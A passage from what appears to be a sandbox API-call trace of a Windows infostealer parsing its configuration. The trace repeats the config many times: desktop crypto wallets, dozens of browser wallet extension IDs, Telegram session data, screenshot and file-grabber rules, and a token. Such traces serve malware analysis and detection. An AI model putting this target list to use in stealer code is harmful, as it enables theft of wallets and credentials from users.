Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4402 [0259.631] LocalAlloc (uFlags=0x40, uBytes=0x2264) returned 0x6bdc00 [0259.631] StrStrW (lpFirst="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.632] lstrlenW (lpString="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 4402 [0259.632] LocalAlloc (uFlags=0x40, uBytes=0x22e4) returned 0x6ef5a0 [0259.632] StrCpyW (in: psz1=0x6b9720, psz2="wlts" | out: psz1="wlts") returned="wlts" [0259.633] LocalFree (hMem=0x6ef5a0) returned 0x0 [0259.633] StrStrW (lpFirst="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0259.633] lstrcmpiW (lpString1="wlts", lpString2="libs") returned 1 [0259.633] LocalFree (hMem=0x6b9720) returned 0x0 [0259.634] LocalFree (hMem=0x6bb990) returned 0x0 [0259.635] LocalFree (hMem=0x6bdc00) returned 0x0 [0259.636] StrStrW (lpFirst="wlts_exodus:Exodus;26;exodus;*;*partitio*,*cache*,*dictionar*\nwlts_atomic:Atomic;26;atomic;*;*cache*,*IndexedDB*\nwlts_jaxxl:JaxxLiberty;26;com.liberty.jaxx;*;*cache*\nwlts_binance:Binance;26;Binance;*app-store.*;-\nwlts_coinomi:Coinomi;28;Coinomi\\Coinomi\\wallets;*;-\nwlts_electrum:Electrum;26;Electrum\\wallets;*;-\nwlts_elecltc:Electrum-LTC;26;Electrum-LTC\\wallets;*;-\nwlts_elecbch:ElectronCash;26;ElectronCash\\wallets;*;-\nwlts_guarda:Guarda;26;Guarda;*;*cache*,*IndexedDB*\nwlts_green:BlockstreamGreen;28;Blockstream\\Green;*;cache,gdk,*logs*\nwlts_ledger:Ledger Live;26;Ledger Live;*;*cache*,*dictionar*,*sqlite*\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_meta:nkbihfbeogaeaoehlefnkodbefgpgknn;MetaMask;Local Extension Settings\nsstmnfo_System Info.txt:System Information: \n|Installed applications:\n|\nwlts_daedalus:Daedalus;26;Daedalus 